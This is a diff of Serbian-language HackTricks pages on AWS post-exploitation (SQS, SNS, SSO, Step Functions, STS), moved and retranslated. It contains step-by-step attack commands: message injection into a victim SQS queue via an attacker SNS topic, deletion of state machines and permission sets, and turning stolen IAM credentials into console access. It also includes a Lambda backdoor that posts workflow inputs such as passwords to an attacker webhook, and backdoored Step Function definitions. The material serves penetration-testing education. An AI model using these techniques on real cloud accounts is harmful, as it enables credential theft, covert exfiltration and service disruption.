+1. **Princip najmanjih privilegija**: Ograničite dozvole `sqs:StartMessageMoveTask` samo na neophodne role
+2. **Monitor DLQs**: Podesite CloudWatch alarme za neuobičajenu aktivnost DLQ-a
+3. **Cross-Account Policies**: Pažljivo pregledajte SQS queue policies koje omogućavaju cross-account pristup
+4. **Encrypt DLQs**: Koristite SSE-KMS sa ograničenim politikama ključeva
+5. **Regular Cleanup**: Ne dozvolite da se osetljivi podaci neograničeno nakupljaju u DLQ-ovima
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md

@@ -0,0 +1,54 @@
+# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Description
+
+Zloupotrebite SQS queue resource policy da omogućite attacker-controlled SNS topic da publish-uje poruke u victim SQS queue. U istom account-u, SQS subscription na SNS topic se automatski potvrđuje; u cross-account slučaju, morate pročitati SubscriptionConfirmation token iz queue i pozvati ConfirmSubscription. Ovo omogućava unsolicited message injection koje downstream consumers mogu implicitno verovati.
+
+### Requirements
+- Mogućnost izmene target SQS queue resource policy: `sqs:SetQueueAttributes` on the victim queue.
+- Mogućnost kreiranja/publish-ovanja na SNS topic pod attacker control: `sns:CreateTopic`, `sns:Publish`, i `sns:Subscribe` on the attacker account/topic.
+- Cross-account only: privremeni `sqs:ReceiveMessage` na victim queue da pročitate confirmation token i pozovete `sns:ConfirmSubscription`.
+
+### Same-account exploitation
+```bash
+REGION=us-east-1
+# 1) Create victim queue and capture URL/ARN
+Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# 2) Create attacker SNS topic
+TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
+
+# 3) Allow that SNS topic to publish to the queue (queue resource policy)
+cat > /tmp/ht-sqs-sns-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
+JSON
+sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
+# Provide the attribute as a JSON map so quoting works reliably
+cat > /tmp/ht-attrs.json <<JSON
+{
+"Policy": "REPLACE_POLICY_JSON"
+}
+JSON
+# Embed the policy file contents as a JSON string
+POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
+sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
+aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
+
+# 4) Subscribe the queue to the topic (auto-confirms same-account)
+aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
+
+# 5) Publish and verify injection
+aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
+```
+### Napomene za cross-account
+- Gore navedena politika reda mora dozvoliti strani `TOPIC_ARN` (attacker account).
+- Pretplate se neće automatski potvrditi. Dodelite sebi privremeno `sqs:ReceiveMessage` na ciljni SQS red da biste pročitali poruku `SubscriptionConfirmation`, a zatim pozovite `sns confirm-subscription` sa njenim `Token`.
+
+### Uticaj
+**Potencijalni uticaj**: Kontinuirano neželjeno ubacivanje poruka u pouzdan SQS red preko SNS-a, što može pokrenuti neželjenu obradu, zagađenje podataka ili zloupotrebu toka rada.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md

@@ -1,18 +1,18 @@
 # AWS - SSO & identitystore Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## SSO & identitystore
 
 Za više informacija pogledajte:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
 ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
 
-Ove dozvole se mogu koristiti za ometanje dozvola:
+Ove dozvole mogu se koristiti za ometanje prava pristupa:
 ```bash
 aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
 
@@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInst
 
 aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md

@@ -1,185 +0,0 @@
-# AWS - Step Functions Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-Za više informacija o ovoj AWS usluzi, proverite:
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### `states:RevealSecrets`
-
-Ova dozvola omogućava **otkrivanje tajnih podataka unutar izvršenja**. Za to je potrebno postaviti nivo inspekcije na TRACE i parametar revealSecrets na true.
-
-<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
-
-### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
-
-Napadač sa ovim dozvolama mogao bi trajno da obriše mašine stanja, njihove verzije i alias-e. To može ometati kritične radne tokove, dovesti do gubitka podataka i zahtevati značajno vreme za oporavak i vraćanje pogođenih mašina stanja. Pored toga, to bi omogućilo napadaču da prikrije tragove korišćene, ometa forenzičke istrage i potencijalno osakati operacije uklanjanjem suštinskih automatizovanih procesa i konfiguracija stanja.
-
-> [!NOTE]
->
-> - Brisanjem mašine stanja takođe brišete sve njene povezane verzije i alias-e.
-> - Brisanjem alias-a mašine stanja ne brišete verzije mašine stanja koje se odnose na ovaj alias.
-> - Nije moguće obrisati verziju mašine stanja koja je trenutno referencirana od strane jednog ili više alias-a.
-```bash
-# Delete state machine
-aws stepfunctions delete-state-machine --state-machine-arn <value>
-# Delete state machine version
-aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
-# Delete state machine alias
-aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
-```
-- **Potencijalni Uticaj**: Poremećaj kritičnih radnih tokova, gubitak podataka i operativno vreme zastoja.
-
-### `states:UpdateMapRun`
-
-Napadač sa ovom dozvolom mogao bi da manipuliše konfiguracijom neuspeha Map Run-a i paralelnim podešavanjima, što bi mu omogućilo da poveća ili smanji maksimalan broj dozvoljenih izvršenja radnih tokova, direktno utičući na performanse usluge. Pored toga, napadač bi mogao da menja tolerisani procenat neuspeha i broj, smanjujući ovu vrednost na 0, tako da bi svaki put kada stavka ne uspe, ceo map run ne uspeo, direktno utičući na izvršenje stanja mašine i potencijalno ometajući kritične radne tokove.
-```bash
-aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
-```
-- **Potencijalni uticaj**: Smanjenje performansi i prekid kritičnih radnih tokova.
-
-### `states:StopExecution`
-
-Napadač sa ovom dozvolom mogao bi da zaustavi izvršenje bilo koje mašine stanja, ometajući tekuće radne tokove i procese. To bi moglo dovesti do nepotpunih transakcija, obustavljenih poslovnih operacija i potencijalne korupcije podataka.
-
-> [!WARNING]
-> Ova akcija nije podržana od strane **express state machines**.
-```bash
-aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
-```
-- **Potencijalni uticaj**: Poremećaj tekućih radnih tokova, operativno vreme zastoja i potencijalna korupcija podataka.
-
-### `states:TagResource`, `states:UntagResource`
-
-Napadač bi mogao da doda, izmeni ili ukloni oznake sa resursa Step Functions, ometajući alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na oznakama.
-```bash
-aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
-aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
-```
-**Potencijalni uticaj**: Poremećaj alokacije troškova, praćenja resursa i politika kontrole pristupa zasnovanih na oznakama.
-
----
-
-### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
-
-Napadač koji kompromituje korisnika ili ulogu sa sledećim dozvolama:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "AllowUpdateStateMachine",
-"Effect": "Allow",
-"Action": "states:UpdateStateMachine",
-"Resource": "*"
-},
-{
-"Sid": "AllowUpdateFunctionCode",
-"Effect": "Allow",
-"Action": "lambda:UpdateFunctionCode",
-"Resource": "*"
-}
-]
-}
-```
-...može sprovesti **napad post-ekspolatacije visokog uticaja i prikrivenosti** kombinovanjem backdooring-a Lambda sa manipulacijom logikom Step Function.
-
-Ovaj scenario pretpostavlja da žrtva koristi **AWS Step Functions za orkestraciju radnih tokova koji obrađuju osetljive ulaze**, kao što su akreditivi, tokeni ili PII.
-
-Primer poziva žrtve:
-```bash
-aws stepfunctions start-execution \
---state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
---input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
-```
-Ako je Step Function konfigurisana da poziva Lambda kao `LegitBusinessLogic`, napadač može nastaviti sa **dve prikrivene varijante napada**:
-
----
-
-####  Ažurirana lambda funkcija
-
-Napadač menja kod Lambda funkcije koja se već koristi od strane Step Function (`LegitBusinessLogic`) kako bi tiho eksfiltrirao ulazne podatke.
-```python
-# send_to_attacker.py
-import requests
-
-def lambda_handler(event, context):
-requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
-return {"status": "exfiltrated"}
-```
-
-```bash
-zip function.zip send_to_attacker.py
-
-aws lambda update-function-code \
---function-name LegitBusinessLogic \
---zip-file fileb://function.zip -profile attacker
-```
----
-
-#### Dodajte Zloćudnu Državu u Step Funkciju
-
-Alternativno, napadač može da ubaci **državu eksfiltracije** na početak radnog toka ažuriranjem definicije Step Funkcije.
-```malicious_state_definition.json
-{
-"Comment": "Backdoored for Exfiltration",
-"StartAt": "OriginalState",
-"States": {
-"OriginalState": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
-"End": true
-}
-}
-}
-
-```
-
-```bash
-aws stepfunctions update-state-machine \
---state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
---definition file://malicious_state_definition.json --profile attacker
-```
-Napadač može još diskretnije ažurirati definiciju stanja na nešto poput ovoga
-{
-"Comment": "Backdoored for Exfiltration",
-"StartAt": "ExfiltrateSecrets",
-"States": {
-"ExfiltrateSecrets": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
-"InputPath": "$",
-"ResultPath": "$.exfil",
-"Next": "OriginalState"
-},
-"OriginalState": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
-"End": true
-}
-}
-}
-gde žrtva neće primetiti razliku
-
----
-
-### Podešavanje žrtve (Kontekst za Eksploataciju)
-
-- Step Function (`LegitStateMachine`) se koristi za obradu osetljivih korisničkih podataka.
-- Poziva jednu ili više Lambda funkcija kao što je `LegitBusinessLogic`.
-
----
-
-**Potencijalni Uticaj**:
-- Tiha eksfiltracija osetljivih podataka uključujući tajne, akreditive, API ključeve i PII.
-- Nema vidljivih grešaka ili neuspeha u izvršenju radnog toka.
-- Teško je otkriti bez revizije Lambda koda ili tragova izvršenja.
-- Omogućava dugoročnu postojanost ako se bekdor zadrži u kodu ili ASL logici.
-
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md

@@ -0,0 +1,186 @@
+# AWS - Step Functions Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+Za više informacija o ovoj AWS usluzi, pogledajte:
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### `states:RevealSecrets`
+
+Ovo dopuštenje omogućava **otkrivanje tajnih podataka unutar execution-a**. Da bi se to postiglo, potrebno je podesiti Inspection level na TRACE i revealSecrets parametar na true.
+
+<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
+
+### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
+
+Napadač sa ovim privilegijama mogao bi trajno obrisati state machines, njihove versions i aliases. Ovo može poremetiti kritične tokove rada, dovesti do gubitka podataka i zahtevati značajno vreme za oporavak i vraćanje pogođenih state machines. Pored toga, omogućilo bi napadaču da prikrije tragove, ometa forenzičke istrage i potencijalno paralizuje operacije uklanjanjem ključnih automatizovanih procesa i konfiguracija stanja.
+
+> [!NOTE]
+>
+> - Deleting a state machine you also delete all its associated versions and aliases.
+> - Deleting a state machine alias you do not delete the state machine versions referecing this alias.
+> - It is not possible to delete a state machine version currently referenced by one o more aliases.
+```bash
+# Delete state machine
+aws stepfunctions delete-state-machine --state-machine-arn <value>
+# Delete state machine version
+aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
+# Delete state machine alias
+aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
+```
+- **Potencijalni uticaj**: Poremećaj kritičnih tokova rada, gubitak podataka i operativni zastoj.
+
+### `states:UpdateMapRun`
+
+Napadač sa ovom dozvolom mogao bi да manipuliše Map Run konfiguracijom za greške i paralelnim podešavanjem, povećавајући или smanjuјући maksimalan broj dozvoljenih izvršavanja podređenih tokova rada, što direktno utiče на performanse servisa. Pored toga, нападач би могао да мења проценат и број толерисаних грешака, смањујући ову вредност на 0, тако да сваки пут када једна ставка zakaže, ceo map run би paо, директно утичући на state machine извршавање и потенцијално ометајући критичне токове рада.
+```bash
+aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
+```
+- **Potencijalni uticaj**: Pogoršanje performansi i prekid kritičnih radnih tokova.
+
+### `states:StopExecution`
+
+Napadač sa ovom dozvolom može zaustaviti izvršavanje bilo koje state machine, ometajući tekuće tokove rada i procese. To može dovesti do nepotpunih transakcija, zaustavljenih poslovnih aktivnosti i potencijalne korupcije podataka.
+
+> [!WARNING]
+> Ova akcija nije podržana za **express state machines**.
+```bash
+aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
+```
+- **Potencijalni uticaj**: Prekid tekućih tokova rada, operativni zastoji i potencijalno oštećenje podataka.
+
+### `states:TagResource`, `states:UntagResource`
+
+Napadač može dodati, izmeniti ili ukloniti tagove sa Step Functions resursa, narušavajući raspodelu troškova organizacije, praćenje resursa i politike kontrole pristupa zasnovane na tagovima.
+```bash
+aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
+aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
+```
+**Potencijalni uticaj**: Poremećaj alokacije troškova, praćenja resursa i politika kontrole pristupa zasnovanih na tagovima.
+
+---
+
+### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
+
+Napadač koji kompromituje korisnika ili ulogu sa sledećim dozvolama:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowUpdateStateMachine",
+"Effect": "Allow",
+"Action": "states:UpdateStateMachine",
+"Resource": "*"
+},
+{
+"Sid": "AllowUpdateFunctionCode",
+"Effect": "Allow",
+"Action": "lambda:UpdateFunctionCode",
+"Resource": "*"
+}
+]
+}
+```
+...može izvesti **high-impact and stealthy post-exploitation attack** kombinovanjem Lambda backdooring sa Step Function logic manipulation.
+
+Ovaj scenarij pretpostavlja da žrtva koristi **AWS Step Functions to orchestrate workflows that process sensitive input**, kao što su credentials, tokens, ili PII.
+
+Primer poziva žrtve:
+```bash
+aws stepfunctions start-execution \
+--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
+--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
+```
+Ako je Step Function konfigurisana da pozove Lambda kao `LegitBusinessLogic`, napadač može nastaviti sa **dve prikrivene varijante napada**:
+
+---
+
+####  Ažurirana Lambda funkcija
+
+Napadač menja kod Lambda funkcije koju Step Function već koristi (`LegitBusinessLogic`) kako bi tiho exfiltrate ulazne podatke.
+```python
+# send_to_attacker.py
+import requests
+
+def lambda_handler(event, context):
+requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
+return {"status": "exfiltrated"}
+```
+
+```bash
+zip function.zip send_to_attacker.py
+
+aws lambda update-function-code \
+--function-name LegitBusinessLogic \
+--zip-file fileb://function.zip -profile attacker
+```
+---
+
+#### Dodajte zlonamerno stanje u Step Function
+
+Alternativno, napadač može ubaciti **exfiltration state** na početak toka rada ažuriranjem definicije Step Function.
+```malicious_state_definition.json
+{
+"Comment": "Backdoored for Exfiltration",
+"StartAt": "OriginalState",
+"States": {
+"OriginalState": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
+"End": true
+}
+}
+}
+
+```
+
+```bash
+aws stepfunctions update-state-machine \
+--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
+--definition file://malicious_state_definition.json --profile attacker
+```
+Napadač može još prikrivenije da ažurira definiciju stanja u nešto poput ovoga
+
+{
+"Comment": "Backdoored for Exfiltration",
+"StartAt": "ExfiltrateSecrets",
+"States": {
+"ExfiltrateSecrets": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
+"InputPath": "$",
+"ResultPath": "$.exfil",
+"Next": "OriginalState"
+},
+"OriginalState": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
+"End": true
+}
+}
+}
+gde žrtva neće primetiti razliku
+
+---
+
+### Podešavanje žrtve (Kontekst za eksploataciju)
+
+- Step Function (`LegitStateMachine`) se koristi za obradu osetljivih korisničkih unosa.
+- Poziva jednu ili više Lambda funkcija kao što je `LegitBusinessLogic`.
+
+---
+
+**Potencijalni uticaj**:
+- Tihi exfiltration osetljivih podataka uključujući secrets, credentials, API keys i PII.
+- Nema vidljivih grešaka ili neuspeha pri izvršavanju workflow-a.
+- Teško otkriti bez revizije Lambda koda ili execution traces.
+- Omogućava long-term persistence ako backdoor ostane u kodu ili u ASL logici.
+
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md

@@ -1,22 +1,23 @@
 # AWS - STS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## STS
 
 Za više informacija:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
-### Od IAM kredencijala do konzole
+### From IAM Creds to Console
 
-Ako ste uspeli da dobijete neke IAM kredencijale, možda će vas zanimati **pristup web konzoli** koristeći sledeće alate.\ Napomena: korisnik/rola mora imati dozvolu **`sts:GetFederationToken`**.
+Ako ste uspeli da dobijete neke IAM credentials možda ćete želeti da **pristupite web console** koristeći sledeće alate.\
+Napomena: korisnik/rola mora imati permisiju **`sts:GetFederationToken`**.
 
 #### Prilagođeni skript
 
-Sledeći skript će koristiti podrazumevani profil i podrazumevanu AWS lokaciju (not gov and not cn) kako bi vam dao potpisani URL koji možete koristiti za prijavu u web konzolu:
+Sledeći skript će koristiti default profile i podrazumevanu AWS lokaciju (not gov and not cn) da vam da signed URL koji možete koristiti za login u web console:
 ```bash
 # Get federated creds (you must indicate a policy or they won't have any perms)
 ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
@@ -63,7 +64,7 @@ pip install aws-consoler
 aws_consoler [params...] #This will generate a link to login into the console
 ```
 > [!WARNING]
-> Obezbedite da IAM korisnik ima dozvolu `sts:GetFederationToken`, ili obezbedite rolu za preuzimanje.
+> Uverite se da IAM korisnik ima dozvolu `sts:GetFederationToken`, ili obezbedite ulogu koju može da preuzme.
 
 #### aws-vault
 
@@ -74,11 +75,11 @@ aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
 aws-vault login jonsmith # Open a browser logged as jonsmith
 ```
 > [!NOTE]
-> Takođe možete koristiti **aws-vault** da biste dobili **browser console session**
+> Možete takođe koristiti **aws-vault** da dobijete **sesiju konzole preglednika**
 
-### **Zaobiđite ograničenja User-Agent-a u Pythonu**
+### **Zaobilaženje ograničenja User-Agent iz Pythona**
 
-Ako postoji **restriction to perform certain actions based on the user agent** used (npr. ograničavanje korišćenja python boto3 library na osnovu user agent-a) moguće je upotrebiti prethodnu tehniku da **connect to the web console via a browser**, ili možete direktno **modify the boto3 user-agent** tako što ćete:
+Ako postoji **ograničenje za izvršavanje određenih akcija zasnovano na korišćenom user agent-u** (npr. ograničavanje upotrebe python boto3 library na osnovu user agent-a) moguće je iskoristiti prethodnu tehniku da se **povežete na web konzolu preko preglednika**, ili možete direktno **izmeniti boto3 user-agent** tako što ćete:
 ```bash
 # Shared by ex16x41
 # Create a client
@@ -93,12 +94,12 @@ response = client.get_secret_value(SecretId="flag_secret") print(response['Secre
 ```
 ### **`sts:GetFederationToken`**
 
-Sa ovom dozvolom moguće je kreirati federisani identitet za korisnika koji ga izvršava, ograničen na dozvole koje taj korisnik poseduje.
+Sa ovom dozvolom moguće je kreirati federisani identitet za korisnika koji je izvršava, ograničeno na dozvole koje taj korisnik ima.
 ```bash
 aws sts get-federation-token --name <username>
 ```
-Token koji vraća sts:GetFederationToken pripada federisanom identitetu pozivajućeg korisnika, ali sa ograničenim dozvolama. Čak i ako korisnik ima administratorska prava, određene radnje kao što su listanje IAM korisnika ili prikačivanje politika ne mogu se izvršiti pomoću federisanog tokena.
+Token koji vraća sts:GetFederationToken pripada federisanom identitetu pozivajućeg korisnika, ali sa ograničenim dozvolama. Čak i ako korisnik ima administratorska prava, određene akcije, kao što su listanje IAM korisnika ili pridruživanje politika, ne mogu se izvršiti putem federisanog tokena.
 
-Pored toga, ova metoda je donekle prikrivenija, jer se federisani korisnik ne pojavljuje u AWS Portalu; može se uočiti samo kroz CloudTrail logove ili alate za nadzor.
+Pored toga, ova metoda je donekle prikrivenija, pošto federisani korisnik ne pojavljuje u AWS Portalu, može se posmatrati samo kroz CloudTrail logove ili alate za nadzor.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md

@@ -1,13 +0,0 @@
-# AWS - VPN Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## VPN
-
-Za više informacija:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}